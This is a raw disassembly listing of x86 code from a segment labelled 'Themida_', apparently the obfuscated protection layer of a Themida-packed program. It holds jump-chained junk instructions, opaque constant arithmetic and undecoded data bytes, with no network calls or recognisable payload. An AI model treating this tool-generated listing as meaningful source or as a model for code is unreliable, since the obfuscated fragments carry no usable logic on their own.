		dd 105245BAh, 5AD50126h, 0B362E9h, 0F6C78600h, 0C0C786D0h
		dd 6805EFh, 28000000h, 3C8A243Ch, 4C48324h, 8030C780h
		dd 0FD882AF7h, 83241C8Bh, 0E5C004C4h, 0FED5F608h, 199A68C5h
		dd 1C890000h, 0FE7AB724h, 0C0EFD0CFh, 0F4E903EFh, 66000109h
		dd 8166DD29h, 667986C5h, 5D66EB89h, 0C8F38166h,	102D666Ch
		dd 0D829662Bh, 0EEBF6657h, 0AE1E936h, 0C5880000h, 0D10E9h
		dd 4C48300h, 7F240481h,	0E920B148h, 4479h, 1354BA52h, 9E90724h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E587:				; CODE XREF: Themida_:005571DEj
		not	ebx
		jmp	loc_552E7D
; ---------------------------------------------------------------------------


loc_54E58E:				; CODE XREF: Themida_:005565D6j
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_557F51
; ---------------------------------------------------------------------------


loc_54E59C:				; CODE XREF: Themida_:00561027j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_551667
; ---------------------------------------------------------------------------
aUS		db 'U½Û·ÕÅé}$',0
		dw 0FF00h
		dd 669D1C77h, 241CD359h, 0F7FBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E5CA:				; CODE XREF: Themida_:00561B3Fj
		mov	ebx, 0CC3AC0AEh
		jmp	loc_557882
; ---------------------------------------------------------------------------
aRS		db 'Àà',8,',}é±]',0
		align 2


loc_54E5DE:				; CODE XREF: Themida_:0055B4F0j
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55FA63
; ---------------------------------------------------------------------------
a5aiAs		db '5ˆ',0Ah
		db 'éÏÄ',0
		db 0
; ---------------------------------------------------------------------------


loc_54E5F3:				; CODE XREF: Themida_:0055F7D0j
		push	edi
		mov	edi, 1527268Eh
		sub	[esp+8], edi
		pop	edi
		jmp	loc_550265
; ---------------------------------------------------------------------------
		db 5Ah
		dd 405h, 24048700h, 0E9C3315Ch,	34Fh, 81242C8Bh, 4C4h
		dd 0E3895300h, 4C381h, 0EB810000h, 4, 0E9241C87h, 27ECh
		dd 74FF555Ah, 8F5D0424h, 248B2404h, 7A016824h, 4890000h
		dd 28D56824h, 0E9540000h, 8FCBh, 1461ED81h, 0CD017F97h
		dd 0A42E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E661:				; CODE XREF: Themida_:0055B81Bj
		pop	eax
		jmp	loc_5563F8
; ---------------------------------------------------------------------------
		db 89h
		dd 0F8B82404h, 51443442h, 1B9h,	59C80100h, 3A0FB951h, 0C831390Bh
		dd 3E8C159h, 28B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E689:				; CODE XREF: Themida_:005580BFj
		sub	edx, 8144C9F8h
		xor	ebx, edx
		pop	edx
		xor	ebx, 15BD72ABh
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 33251E3Ah
		jmp	loc_5608A7
; ---------------------------------------------------------------------------
		dd 5366C5FEh, 0E2E9A7B7h, 590000EEh, 4C381h, 1C330000h
		dd 241C3124h, 0E9241C33h, 9158h
; ---------------------------------------------------------------------------


loc_54E6D4:				; CODE XREF: Themida_:0055FD72j
		push	2DA2h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_554133
; ---------------------------------------------------------------------------
		dw 645Ch
		dd 0E9028966h, 0FFFFF6D5h, 4C481h, 0C6810000h, 7A252065h
		dd 24348156h, 69A65C1h,	9D54E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E709:				; CODE XREF: Themida_:0055689Aj
		mov	edx, 498D0758h
		sub	edx, 54F647A0h
		jmp	loc_55CA46
; ---------------------------------------------------------------------------
		db 5Eh,	87h, 1Ch
aSy		db '$\éYÞ',0
		db 0
; ---------------------------------------------------------------------------


loc_54E723:				; CODE XREF: Themida_:0054E3FDj
		push	6B7Ah
		mov	[esp], ebx
		push	ebp
		mov	ebp, 401E0E13h
		xor	[esp+4], ebp
		jmp	loc_55EA18
; ---------------------------------------------------------------------------
		dw 1489h
aZSjsp		db '$º‡*áJéP\',0
		dw 8900h
		dd 0BA52242Ch, 1F696D42h, 815AD589h, 9692C2C5h,	0C5EE81E0h
		dd 0E92A7B43h, 0B379h, 42474FFh, 24048F59h, 8924248Bh
		dd 4EE9240Ch, 66FFFFF6h, 0F31EE950h, 15E0000h, 348759CEh
		dd 24248B24h, 51E78957h, 0F856E9h, 240C8700h, 0BAB0E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E799:				; CODE XREF: Themida_:0055049Ej
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_551D68
; ---------------------------------------------------------------------------


loc_54E7A5:				; CODE XREF: Themida_:00559854j
		mov	al, 0BDh
		or	al, 63h
		inc	al
		neg	al
		jmp	loc_55ABD6
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 47584EFEh, 56E7BA52h, 59E94BEEh, 50000A5h, 4E434BABh
		dd 0AB2DF001h, 554E434Bh, 0AB210ABDh, 6EDC15Bh,	20DCE94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E7DE:				; CODE XREF: Themida_:0055E081j
		push	0
		sub	[esp], edi
		pop	edi
		shr	edi, 6
		jmp	loc_553681
; ---------------------------------------------------------------------------
		db 4Fh
		dd 2B87E781h, 0F78127AFh, 243656EAh, 0CD75EF81h, 0FB013480h
		dd 8BD9015Fh, 8950241Ch, 405E0h, 0E8830000h, 24048704h
		dd 241C895Ch, 0C381E389h, 4, 8704C383h,	815C241Ch, 2E9h
		dd 240C8700h, 6624248Bh, 66241489h, 22474FFh, 24148B66h
		dd 555F5457h, 200200BDh, 0E9D5F747h, 66Bh, 6491C681h, 0F6815FD2h
		dd 76524EC4h, 348BF729h, 4C48324h, 0C781D701h, 2B62976h
		dd 44DBEF81h, 148B6BCAh, 4C48324h, 3614BD55h, 0C58151C7h
		dd 5F9B7DEDh, 0CAB85045h, 310D007Ch, 87E958C5h,	54000002h
		dd 8124348Bh, 4C4h, 4C68100h, 0E9000000h, 847Ah
; ---------------------------------------------------------------------------


loc_54E8AC:				; CODE XREF: Themida_:00559827j
		push	esi
		mov	esi, esp
		jmp	loc_55E05A
; ---------------------------------------------------------------------------
		dd 4C481h, 6C810000h, 19CA0424h, 5C2966DFh, 44810424h
		dd 19CA0424h, 1C8B66DFh, 4C48124h, 52000000h, 0A771C2BAh
		dd 5FB85055h, 8135632Bh, 0A208246Ch, 29495E5Bh,	81082444h
		dd 0A2082444h, 0E9495E5Bh, 22FBh, 9D1C77FFh, 14D35966h
		dd 0BAE99C24h, 0E9FFFFF4h, 0FFFFF4B5h, 0E9242C89h, 5E1h
; ---------------------------------------------------------------------------


loc_54E918:				; CODE XREF: Themida_:00561F87j
		mov	edx, 4
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		neg	ebp
		sub	ebp, 0DF1C5973h
		jmp	loc_5606FC
; ---------------------------------------------------------------------------
		db 58h
		dd 0EC81C601h, 4, 0E9242C89h, 0D962h, 6913E981h, 0E505E4D7h
		dd 0E9540A79h, 3D0Fh, 2959BD55h, 2CE904DEh, 510000ACh
		dd 2219D8B9h, 59CA291Fh, 3DE6E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E972:				; CODE XREF: Themida_:0055D026j
		add	ebx, 2BB14B85h
		sub	ebx, 77585F52h
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_560DDD
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 9B41h, 5958C289h, 0E924348Bh, 398Ch, 0C68C201h
		dd 8900002Eh, 0BA52240Ch, 74073F60h, 28C2E9h, 0A1EF8100h
		dd 0FF517861h, 34FF2434h, 28E95D24h
		db 33h,	1, 0
; ---------------------------------------------------------------------------


loc_54E9C7:				; CODE XREF: Themida_:0055A2ACj
		neg	ecx
		sub	ecx, 0FFFFFFFFh
		and	ecx, 15D21C88h
		add	ecx, 55A249A3h
		push	ecx
		pop	eax
		jmp	loc_555F15
; ---------------------------------------------------------------------------
		db 0FEh
aS?		db 'Æéß?',0
		align 2
		dw 34FFh
		dd 2434FF24h, 0EC67E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E9F1:				; CODE XREF: Themida_:0055E51Cj
		mov	[esp], edi
		push	778979E0h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5586F9
; ---------------------------------------------------------------------------
		dw 875Bh
		dd 248B2404h, 2EDAE924h, 8E680000h, 8900007Ch, 78E9241Ch
		dd 5A00012Dh, 699BED81h, 0CE92FBBh, 0D30000F6h,	0E99C2404h
		dd 0FFFFF395h
; ---------------------------------------------------------------------------


loc_54EA30:				; CODE XREF: Themida_:0055090Ej
		mov	esi, 13617BF7h
		dec	esi
		add	esi, 597761FBh
		jmp	loc_55765C
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 0F4h
		dd 3AC180h, 8207E9D9h, 0BE560000h, 0B2B70B21h, 0AB7AE9h
		dd 0C5835E00h, 53B6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EA62:				; CODE XREF: Themida_:0055869Aj
		mov	ebp, [esp]
		push	ebx
		jmp	loc_552578
; ---------------------------------------------------------------------------


loc_54EA6B:				; CODE XREF: Themida_:00557014j
		xor	esi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 7D1E414Eh
		jmp	loc_55131A
; ---------------------------------------------------------------------------
		dd 5422EE81h, 0C15B587Dh, 0EC8104E6h, 4, 0BB241C89h, 68942864h
		dd 8107EBC1h, 1C3h, 7E3C100h, 0E49DC381h, 0C681BC4Bh, 28D04FE0h
		dd 0EE81DE29h, 28D04FE0h, 13116E9h, 32E9AC00h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54EABF:				; CODE XREF: Themida_:00556027j
		push	ecx
		mov	ecx, 1F9B3644h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_5531D4
; ---------------------------------------------------------------------------
		db 31h,	0D7h, 0E9h
		dd 102B7h
; ---------------------------------------------------------------------------


loc_54EAD4:				; CODE XREF: Themida_:0055A7C0j
		push	3D62370Ch
		pop	ecx
		jmp	loc_56022E
; ---------------------------------------------------------------------------


loc_54EADF:				; CODE XREF: Themida_:005560FFj
		mov	ebp, esp
		push	ebx
		jmp	loc_54ED41
; ---------------------------------------------------------------------------
aJfsS		db '·¦fS³s',0
		dw 66D8h
		dd 0E9241C8Bh, 0FFFFF73Bh, 31E9FA01h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54EAFF:				; CODE XREF: Themida_:00555F72j
		pop	ebx
		push	edx
		jmp	loc_552435
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 4206h, 0FFF2B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EB11:				; CODE XREF: Themida_:00552CA3j
		push	edx
		jmp	loc_557712
; ---------------------------------------------------------------------------
aVsC		db 'µvé»C',0
		align 2
		dw 0F581h
		dd 0BC62C8CAh, 13DC6E9h, 80C60000h, 0E95845EEh,	5D0Dh
		dd 0AF0DD8F7h, 0E939980Eh, 0E476h, 3592C681h, 0F2312378h
		dd 1D0BE95Eh, 0E95A0001h, 0FFFFF38Ah
; ---------------------------------------------------------------------------


loc_54EB54:				; CODE XREF: Themida_:0055233Ej
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55334F
; ---------------------------------------------------------------------------


loc_54EB68:				; CODE XREF: Themida_:0055B694j
		add	edx, ecx
		jmp	loc_55B0AB
; ---------------------------------------------------------------------------
		db 51h
		dd 8040B753h, 86E9ACE7h, 81FFFFF9h, 4ECh, 243C8900h, 6F376853h
		dd 1C8B6840h, 4C48124h,	0C1000000h, 0C38107EBh,	13C06D7h
		dd 0F5BF5750h, 897C6D5Dh, 0C3215FF8h, 7F7EE9h, 4B95100h
		dd 1000000h, 67A2E9CDh,	4050000h, 87000000h, 248B2404h
		dd 2EC3E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_54EBCA:				; CODE XREF: Themida_:00556428j
		push	ebx
		jmp	loc_54FF9E
; ---------------------------------------------------------------------------


loc_54EBD0:				; CODE XREF: Themida_:005563A9j
		add	edi, 15A089D2h
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, esi
		add	ebp, 50D10083h
		push	ebp
		jmp	loc_550C22
; ---------------------------------------------------------------------------
		dd 42474FFh, 83241C8Bh,	48F04C4h, 24248B24h, 2404A30Fh
		dd 660E99Ch, 1C870001h,	0E8685C24h, 8900003Bh, 74FF2434h
		dd 348B0424h, 4C48324h,	8B24048Fh, 6D682424h, 89000020h
		dd 81502414h, 0D9F242Ch, 34FF6460h, 24148B24h, 5E08950h
		dd 4, 8704C083h, 0E95C2404h, 0FFFFF413h, 54240C89h, 46B85059h
		dd 53AD727h, 4E53041Dh,	80E9D0F7h, 50000135h, 0E530E9h
		dd 241C8B00h, 4C481h, 0DAE90000h, 520000BBh, 7746DBAh
		dd 20E2815Fh, 83054174h, 0B0E901EAh, 5C000001h,	1D4768h
		dd 242C8900h, 131FE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EC9A:				; CODE XREF: Themida_:00562933j
		mov	ecx, 38F64794h
		jmp	loc_5517E1
; ---------------------------------------------------------------------------
		dd 425DF781h, 0EFC14B08h, 0FCBA5204h, 0F7035675h, 29CA81D2h
		dd 0E969C272h, 0C71Ah, 5220C281h, 0FCE919A6h, 8B0000D6h
		dd 8DE92424h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54ECD3:				; CODE XREF: Themida_:0055C9D5j
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	7048h
		mov	[esp], esi
		jmp	loc_55FB2E
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 6D3F5644h, 4817ED81h, 0DDF727C5h, 0EBF0E9h, 0C6815C00h
		dd 2, 31243433h, 34332434h, 24248B24h, 24048B66h, 8904EC83h
		dd 0E0892404h, 13C468h,	243C8900h, 0EF5BE9h, 1F346800h
		dd 0C15B2BB9h, 0B6E906EBh
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54ED37:				; CODE XREF: Themida_:0055D230j
		xor	edi, ecx
		pop	ecx
		xchg	ebx, edi
		jmp	loc_55178F
; ---------------------------------------------------------------------------


loc_54ED41:				; CODE XREF: Themida_:0054EAE2j
		push	edi
		mov	edi, 70337928h
		dec	edi
		jmp	loc_55743D
; ---------------------------------------------------------------------------


loc_54ED4D:				; CODE XREF: Themida_:0055CAAAj
		push	ecx
		jmp	loc_55FFDB
; ---------------------------------------------------------------------------


loc_54ED53:				; CODE XREF: Themida_:00557F5Aj
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	edx
		not	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_558BDA
; ---------------------------------------------------------------------------
		dd 0C0BF574Ah, 81784C4Dh, 3400CEF7h, 0F890E93Ch, 0E9500000h
		dd 21CCh, 3EC368h, 243C8900h, 7721FCBFh, 7AC7814Eh, 4F5E4B3Ch
		dd 5984E9h, 241C8900h, 0BD97EFBBh, 5BDE31C1h, 8904EC83h
		dd 5FE92434h
		db 33h,	1, 0
; ---------------------------------------------------------------------------


loc_54EDBB:				; CODE XREF: Themida_:00550D4Bj
		pop	ebp
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_560622
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 6DF9h, 8EE91AB7h, 0BE000010h, 4C57640Ch, 15CFF681h
		dd 5BE90546h, 830000FEh, 5B042404h, 720ABF57h, 0B95163C9h
		dd 9C368DFAh, 159CF01h,	0C3815FFBh, 4, 31241C33h, 1C33241Ch
		dd 57215C24h, 24148B1Ch, 4C481h, 0BEE90000h, 830000C8h
		dd 0CB31FFC3h, 0CB31D931h, 0C831C131h, 11EEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_54EE2D:				; CODE XREF: Themida_:00557AB9j
		push	ecx
		jmp	loc_551780
; ---------------------------------------------------------------------------
		db 89h
		dd 0F8E9243Ch, 81000103h, 0AC4E8AF2h, 53C96848h, 14890000h
		dd 0F3BB5324h, 2948B576h, 5B04245Ch, 0D177E9h, 581DB900h
		dd 4C293187h, 34FF0824h, 0E9575924h, 1381Dh
; ---------------------------------------------------------------------------


loc_54EE6C:				; CODE XREF: Themida_:0055B19Ej
		push	eax
		push	esp
		jmp	loc_556EE0
; ---------------------------------------------------------------------------


loc_54EE73:				; CODE XREF: Themida_:0055D612j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 4B7E0F53h
		neg	eax
		add	eax, 4B7E0F57h
		sub	ebp, 2BB506E0h
		add	ebp, offset byte_4D0781
		sub	ebp, eax
		sub	ebp, offset byte_4D0781
		add	ebp, 2BB506E0h
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_550EE5
; ---------------------------------------------------------------------------
		db 81h
		dd 9D305CCDh, 3E5C16Dh,	5704EDC1h, 0EFFEFBBFh, 5FFD290Eh
		dd 815DEF01h, 2C7h, 243C8700h, 13011E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EEE5:				; CODE XREF: Themida_:005523E4j
		push	ebp
		mov	ebp, 0A0F2C15h
		jmp	loc_55A3E4
; ---------------------------------------------------------------------------
		dd 0CA28F2B1h, 42C2E9h,	44E95000h, 8100002Eh, 0EF58EAEDh
		dd 0F5295B27h, 0E5BC581h, 0BE5614F3h, 695977C3h, 1C30C581h
		dd 0F7E92F28h, 4A0000EEh, 9FB9514Ah, 8169573Ch,	4535B6E1h
		dd 0ACC1814Fh, 0F759CA41h, 161DE9D9h, 0E9540000h, 9243h
		dd 0D2685059h, 0E900004Eh, 14D9h, 57187A05h, 88B95177h
		dd 812FC17Ch, 3766BBF1h, 6DE94952h
		db 0D9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EF63:				; CODE XREF: Themida_:00551C91j
		sub	esp, 4
		jmp	loc_5608C7
; ---------------------------------------------------------------------------
		db 68h
		dd 5F6Ah, 1832E9h, 0EC835000h, 24248904h, 4240481h, 58000000h
		dd 96BFE9h, 0F6B85000h,	0E94BC810h, 0F199h, 0BF243C89h
		dd 4516CA2h, 0EF81DFF7h, 0A54247F3h, 0E95FF929h, 2F6Eh
		dd 5DA968h, 242C8900h, 0D3CEE9h, 24048700h, 6268525Ch
		dd 5AEF5AC1h, 7AE9D629h, 56000066h, 0C681E689h,	4, 4EE81h
		dd 34870000h, 0C895C24h, 81595424h, 4ECh, 2D33E900h, 14870001h
		dd 0C6815C24h, 4, 0E9243487h, 492Eh
; ---------------------------------------------------------------------------


loc_54F000:				; CODE XREF: Themida_:00550260j
		push	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_556248
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0ECh
		dd 4, 0BF243C89h, 4, 525FFB01h,	11FC5E9h, 0E9545200h, 11BD2h
; ---------------------------------------------------------------------------


loc_54F028:				; CODE XREF: Themida_:005618C1j
		push	ebp
		mov	ebp, ebx
		mov	ecx, ebp
		pop	ebp
		pop	ebx
		xor	[esp+4], ecx
		mov	ecx, [esp]
		jmp	loc_555023
; ---------------------------------------------------------------------------
		db 0BFh
		dd 28D9089Ah, 0C5E9EF29h, 660000FDh, 0E4ECF81h,	66DFF766h
		dd 9602EF81h, 0E9F80166h, 20DDh
; ---------------------------------------------------------------------------


loc_54F05C:				; CODE XREF: Themida_:00551C4Dj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		push	eax
		mov	eax, 4
		push	edi
		mov	edi, eax
		mov	esi, edi
		pop	edi
		pop	eax
		jmp	loc_55C7EF
; ---------------------------------------------------------------------------


loc_54F087:				; CODE XREF: Themida_:0055EC63j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_550327
; ---------------------------------------------------------------------------


loc_54F095:				; CODE XREF: Themida_:0054DECEj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561106
; ---------------------------------------------------------------------------
		db 81h
		dd 971461C5h, 7868597Fh, 89000029h, 5D51242Ch, 26F7E9h
		dd 0C1EB8100h, 0E94D9B10h, 0C2C4h
; ---------------------------------------------------------------------------


loc_54F0C4:				; CODE XREF: Themida_:00555800j
		mov	[esp], ecx
		jmp	loc_55DAA7
; ---------------------------------------------------------------------------
		dd 44C9EE81h, 0C6811630h, 62392A5Ah, 0EE81DE01h, 62392A5Ah
		dd 1B3D68h, 241C8900h, 0C4685055h, 58624047h, 2D02E8C1h
		dd 0EC6DACBEh, 5658C589h, 254A12BEh, 6EEC15Ch, 22B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F109:				; CODE XREF: Themida_:0055DDEDj
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		jmp	loc_557019
; ---------------------------------------------------------------------------


loc_54F123:				; CODE XREF: Themida_:00553C48j
		shl	eax, 8
		push	ebp
		sub	esp, 4
		jmp	loc_55BB16
; ---------------------------------------------------------------------------
		dw 5559h
		dd 8B6417BDh, 41602D27h, 0E8014AA1h, 0A1416005h, 60E95D4Ah
		db 26h,	1, 0
; ---------------------------------------------------------------------------


loc_54F14B:				; CODE XREF: Themida_:00551C44j
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 0B077C58Fh
		push	ecx
		add	dword ptr [esp], 46BC261Fh
		jmp	loc_553FB5
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0BA24h, 0C2010000h, 34FF1A88h, 89575A24h, 4EC83E7h
		dd 0EA6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_54F181:				; CODE XREF: Themida_:0055A8BDj
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7B973619h
		not	ecx
		xor	ecx, 0F4D4E519h
		jmp	loc_55616C
; ---------------------------------------------------------------------------
aBOsN		db 'ÅÏ',0Bh,'ÐOé{­',0
		db 0
; ---------------------------------------------------------------------------


loc_54F1AD:				; CODE XREF: Themida_:00561551j
		add	ebx, 4
		push	ecx
		jmp	loc_55AD7C
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4240481h, 5A000000h,	0E904EC83h, 704Bh, 585DE989h, 0FFA2E95Ah
		dd 0C2010000h, 8B5B5258h, 0C4832414h, 0C8B5D04h, 4C48124h
		dd 53000000h, 0D8EB951h, 57BB1EE7h, 81279D0Fh, 0B6340EEBh
		dd 18F38140h, 0E95D5138h, 0FA99h, 0C681E689h, 4, 8704EE83h
		dd 895C2434h, 0AFB3241Ch, 4D51E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F221:				; CODE XREF: Themida_:00556505j
		add	eax, ebx
		sub	eax, 2E577F1Ch
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------


loc_54F23D:				; CODE XREF: Themida_:0055E09Cj
		add	edi, 1A6B37BAh
		neg	edi
		shr	edi, 4
		jmp	loc_5617DF
; ---------------------------------------------------------------------------
		db 5Ch,	41h, 81h
		dd 7A5012F1h, 59CA8928h, 5E9D329h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F25F:				; CODE XREF: Themida_:005548D3j
		sub	edi, 6D4B6196h
		jmp	loc_55BF09
; ---------------------------------------------------------------------------


loc_54F26A:				; CODE XREF: Themida_:0055419Aj
		mov	[esp], ebx
		push	1C45616Ah
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_552762
; ---------------------------------------------------------------------------
aIYsQ		db 'ˆ*Yé)q',0
		dd 4C48100h, 0E9000000h, 0C163h, 8704C483h, 685C2404h
		dd 7764h, 68240C89h, 4FDAh, 0B6241489h,	2EDAE9E6h, 1C890000h
		dd 0DD55E924h, 0C8B0000h, 4C48324h, 9794E9h, 4C78100h
		dd 81000000h, 4C7h, 243C8700h, 0FFEC46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F2D5:				; CODE XREF: Themida_:0055E8B7j
		push	esi
		jmp	loc_561AC5
; ---------------------------------------------------------------------------


loc_54F2DB:				; CODE XREF: Themida_:0054E3E8j
		shr	ah, 7
		jmp	loc_55AAD8
; ---------------------------------------------------------------------------
aPZsC		db 'P°‡é´c',0
		dw 5300h
		dd 0D3271B68h, 0F3815B2Ah, 2AD3271Fh, 9768E9h, 243C8B00h
		dd 0E904C483h, 12A98h, 0E9240C8Bh, 8159h, 0AB535C05h, 4875E03h
		dd 48F5C24h, 24248B24h,	24048966h, 0FFEA9CE9h, 0EC83ACFFh
		dd 2C09E904h, 8F660000h, 0EA8BE902h, 0C483FFFFh, 0C6EB8104h
		dd 0E907BD5Dh, 0ED59h
; ---------------------------------------------------------------------------


loc_54F348:				; CODE XREF: Themida_:0055C61Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55868A
; ---------------------------------------------------------------------------
		db 81h
		dd 54646CF5h, 8EDC12Fh,	79ADCD81h, 51453F45h, 4C46FFB9h
		dd 9CF1810Ch, 29864BD6h, 0C02EE9CDh, 0C4830000h, 59C83004h
		dd 49E68h, 24148900h, 3BE9E289h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F38F:				; CODE XREF: Themida_:005518E3j
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_550272
; ---------------------------------------------------------------------------
aQsJ		db 'QéÕj',0
		align 4
		dd 88F08850h, 0C18058C1h, 0E9CE8801h, 0EE74h
; ---------------------------------------------------------------------------


loc_54F3B4:				; CODE XREF: Themida_:005520B9j
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5604B3
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 31240C33h, 72E9240Ch, 100009Eh, 0D42E9D0h, 295D0001h
		dd 3BE95EF2h, 81000013h, 1B4F46F5h, 0C0ED8175h,	0C132CF08h
		dd 0ED8104EDh, 57DB2Eh,	835DE801h, 48704E8h, 24248B24h
		dd 24048F54h, 0C341E9h,	48B6600h, 4EC8124h, 89000000h
		dd 8868243Ch, 89000025h, 0E9532424h, 12834h, 3BAFC281h
		dd 0FA296662h, 3BAFEA81h, 315F6662h, 0F8015AD7h, 57243C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 6CE95C24h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F457:				; CODE XREF: Themida_:0055E235j
		push	39A8008Ah
		pop	edx
		jmp	loc_5511C7
; ---------------------------------------------------------------------------


loc_54F462:				; CODE XREF: Themida_:00557E27j
		sub	ebx, 12C93784h
		add	ebx, 495531A9h
		jmp	loc_55B1B9
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E98103E9h, 0D6B02A08h, 0E959CA31h, 911Bh, 8B5EF331h
		dd 0C4812414h, 4, 62E95452h, 890000BCh,	70BF243Ch, 31CDCDC5h
		dd 0EC815FFAh, 4, 56240489h, 0F089D689h, 43E9E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F4B6:				; CODE XREF: Themida_:0055FDD7j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_560301
; ---------------------------------------------------------------------------


loc_54F4C9:				; CODE XREF: Themida_:0054E049j
		mov	ebp, 4
		push	edx
		mov	edx, 383D030Ah
		neg	edx
		sub	edx, 0D302765h
		shr	edx, 7
		add	edx, 716D7BA8h
		sub	edx, 3DB5539h
		push	ebx
		mov	ebx, 0DB972C9h
		push	ecx
		jmp	loc_5596E5
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C581h, 0BA520000h, 4, 29E9D501h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F50B:				; CODE XREF: Themida_:005544CBj
		mov	[esp], eax
		mov	eax, esp
		push	37F0h
		mov	[esp], ecx
		mov	ecx, 4
		sub	eax, 3FC76240h
		jmp	loc_55F2D4
; ---------------------------------------------------------------------------


loc_54F527:				; CODE XREF: Themida_:0055410Cj
		pop	esp
		sub	esi, 0DC1CDB67h
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_556E96
; ---------------------------------------------------------------------------
		db 8, 0FAh, 0E9h
		dd 0ED62h, 4BFh, 0FBEE8100h, 105585Bh, 0FBC681FEh, 8B05585Bh
		dd 0C483243Ch, 24343304h, 117A7E9h, 0E2895200h,	4C281h
		dd 38E90000h, 6600004Dh, 5224048Bh, 55E08950h, 8B1D55BDh
		dd 0F6ED8102h, 0F74FE311h, 0FE51E9D5h, 43BAFFFFh, 2D7A8575h
		dd 10630AFEh, 0FE05D001h, 5A10630Ah, 4EC815Bh, 89000000h
		dd 0B951243Ch, 4B0B2E07h, 70076852h, 0FEE976E3h, 830000D9h
		dd 79E904C4h
		db 10h,	1, 0
